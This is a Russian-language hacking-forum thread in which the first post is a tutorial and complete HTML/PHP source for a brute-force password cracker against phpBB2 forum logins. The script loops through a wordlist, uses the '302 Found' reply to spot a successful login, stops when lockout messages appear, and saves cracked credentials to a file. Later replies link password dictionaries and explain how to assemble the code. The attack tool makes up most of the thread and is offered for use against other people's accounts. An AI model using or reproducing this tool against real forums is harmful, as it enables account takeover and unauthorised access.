Авторские статьи Пишем брутофорс для phpBB

Discussion in 'Статьи' started by GreenBear, 28 Feb 2007.

  1. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    В phpBB2 есть возможность брута с минимум трафика, т.к в случае удачной аунтификации сервер посылает нам не стандартый 200-тый
    Code:
    200 OK
    
    ответ, что запрос обработан и успешно выполнен, а строку с кодом 302. Благодоря этому нам не нужно брать всю страницу, чтобы узнать завершился ли успешно наш перебор, а достаточно первой строки ответа
    Code:
    302 Found
    
    Создадим сначала интерфейс нашего брута.
    HTML:
    <html><head>
    <title>Брутофорс для phpBB2 от Green Bear (http://netsec.ru && http://antichat.ru)</title>
    <style type="text/css">
    body{background-color: #323232;margin: 20px;}
    .div{border-style: ridge;border-color: yellowgreen;border-width: 1px;background-color: #444;padding: 5px;color: whitesmoke;font-family: Verdana, Tahoma;font-size: 11px;}
    input, select{border: none;background-color: #000;color: yellowgreen;}
    h1{margin-top: 3;}
    a{color: white;text-decoration: none;}
    </style>
    </head><body><div align="center"><div style="width:500px" class="div">
    <h1><a href="" style="text-decoration: none;">Брутофорс phpBB2</a></h1>
    <form method="post"  enctype="multipart/form-data">
    Адрес: <input type="text" name="host"  /> / <input type="text" name="path" size="10"/>
    Имя: <input type="text" name="login"  />
    <input type="checkbox" name="w" value="w" title="Ждать 4 секунды перед новый попыткой?" /><br /><br />
    Из файла: <input type="radio" OnClick="file.style.display=''; load.style.display='none';" name="l" />
    Загрузить: <input type="radio" OnClick="load.style.display=''; file.style.display='none';" name="l" checked />
    <input type="file" name="pass" id="load"  style="border:none" />
    <input type="text" name="file" id="file" value="./" style="display:none" />
    <br /><br />Язык форума: <select name="lang"><option value="ru">Русский</option><option value="en">Буржуйский</option></select> <input type="submit" value="Начать подбор" name="start" onClick="hide.style.display=''" /></form>
    
    Сам код. Я постарался подробно все закоментировать, чтобы не было проблем у плохознающих пхп.
    PHP:
    <?php
    error_reporting
    (E_ALL E_NOTICE);
    //Если вы закроете браузер, то брут продолжется.
    ignore_user_abort(1);
    //Если не удалось сменить имя, то остановим скрипт, т.к дальше продолжать бессмысленно.
    if( !set_time_limit(0)) die('Не удалось сменить лимит времени исполнения скрипта');
    if(
    $_POST['start']){
    //Если выбраны пароли из файла, то проверим его на существование.
    if($_POST['file']){
        if(! 
    file_exists($_POST['file']) ) die("<script>alert('Такого файла на сервере нет.');</script>");
        
    $passwords file($_POST['file']);
    }else{
    //Если файл загружаем, то в случае неудачной загрузки сообщим.
        
    if (is_uploaded_file($_FILES['pass']['tmp_name'])) $passwords file($_FILES['pass']['tmp_name']);
        else die(
    "<script>alert('Ошибка при загрузке файла');</script>");
    }
    //Проверим на существования необходимые переменные
    $_POST['login'] ? $login $_POST['login'] : die("<script>alert('Не задан логин');</script>");
    $_POST['host'] ? $host $_POST['host'] : die("<script>alert('Не задан хост');</script>");
    $_POST['path'] ? $path '/'.$_POST['path'].'/' $path '/';
    $_POST['w'] ? $w true $w false;
    $str ''$b 0;
        
    //Язык нужен для того, чтобы прекратить брут, если на форуме стоит ограничение на кол-во попыток.
        //Далее после 5 попытки идет поиск этой фразы на странице, если он найдена - брут останавливается.
        
    switch($_POST['lang']){
            case 
    ru$anti 'Максимальное количество попыток'; break;
            case 
    en$anti 'not allowed to login'; break;
        }
        
    //Идем в цикл равный кол-ву срок в файле  с паролями.
        
    for($i=0;$i<count($passwords);$i++){
            
    $w sleep(4) : '';
            
    $pass trim($passwords[$i]);
            
    //Подключимся и проверим на доступность форум...
            
    $fp fsockopen ($host80$errno$errstr7);   
            
    //Если хост не найден, то выйдем из скрипта.
            
    if (!$fp) die("<script>alert('Не могу найти такой форум');</script>");
            
    //Наш пост запрос..
            
    $r  "POST ".$path."login.php HTTP/1.1
    Host: 
    $host
    Content-Type: application/x-www-form-urlencoded
    Content-Length: "
    .strlen("username=".$login."&password=".$pass."&login=Log+in")."

    username="
    .$login."&password=".$pass."&login=Log+in";
                
    fputs ($fp$r);
                
    //Теперь посмотрим...
                //Если попытка не 5, то перем только первую строку.
                
    if($b != 5$str fgets($fp128);
                
    //Если он 5, то скачиваем всю страницу для поиска в ней ключевой фразы
                //И в случае ее успешного поиска останавлиаем скрипт.
                
    else{
                    while(!
    feof($fp)){
                        
    $str .= fgets($fp128);
                    }
                    if(
    eregi($anti$str)){
                        die(
    'Не могу продолжить дальнейший подбор паролей, т.к исчерпаны все попытки входа <br />');
                    }
                }
                   
    //Теперь смотрим на ответ сервера...
                   //
                
    if( eregi('302 Found'$str) ){
                        
    //запишем все в файл password
                        
    $p fopen('password''a');
                        
    fwrite($p"Логин: ".$login."\nПароль :".$pass."\nАдрес : ".$host."\n\n--------------\n\n");
                        
    fclose($p);
                        
    $find true;
                        break;
                    }
                
    $str '';
            
    fclose ($fp);
            
    $b++;
        }
    if( 
    $find ) echo '<script> hide.style.display=\'none\'></script>Пароль: <b>'$pass.'</b><br /><br />';
    else echo 
    '<script> hide.style.display=\'none\'></script><i>Не удалось найти пароль</i><br /><br />';
    }
    ?>
    HTML:
    <div style="display:none" id="hide"><img src="http://gb.netsec.ru/process.gif" /><br /></div>
    &copy; <a href="http://gb.netsec.ru/">Green Bear</a></div> </div></body></html>
    
    Статус 302 Found означает, что запрашиваемый ресурс находится по другому адресу.

    Вот в общем-то и все, как видим ничего сложного нету.

    Полезные ссылки:
    Протокол HTTP
    php.net
     
    21 people like this.
  2. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    мишка это дурь ведь уже давно кез написал брут для пхпББ на Си...
     
    1 person likes this.
  3. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Я не видел =\
     
  4. Delphi-X

    Delphi-X Banned

    Joined:
    20 May 2007
    Messages:
    24
    Likes Received:
    3
    Reputations:
    0
    А есть у кого пассы чтоб побрутить ))
     
  5. Fen-Omen

    Fen-Omen Elder - Старейшина

    Joined:
    22 Mar 2007
    Messages:
    60
    Likes Received:
    88
    Reputations:
    60
    С пассами все сложнее.... Они попрятаны по приватам, а словари паролей продаются в интернете только за бешенные деньги=\

    Мне стоило больших усилий чтобы добыть тебе парочку:

    Словарь 1

    Словарь 2

    Словарь 3

    Словарь 4 (Специфически подобраны характерные пароли для разных стран)
     
    #5 Fen-Omen, 6 Jul 2007
    Last edited: 6 Jul 2007
  6. kolllak

    kolllak New Member

    Joined:
    24 Dec 2008
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    а как это все увязать между собой?
     
  7. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    засунь все в 1 пхп'шный файл.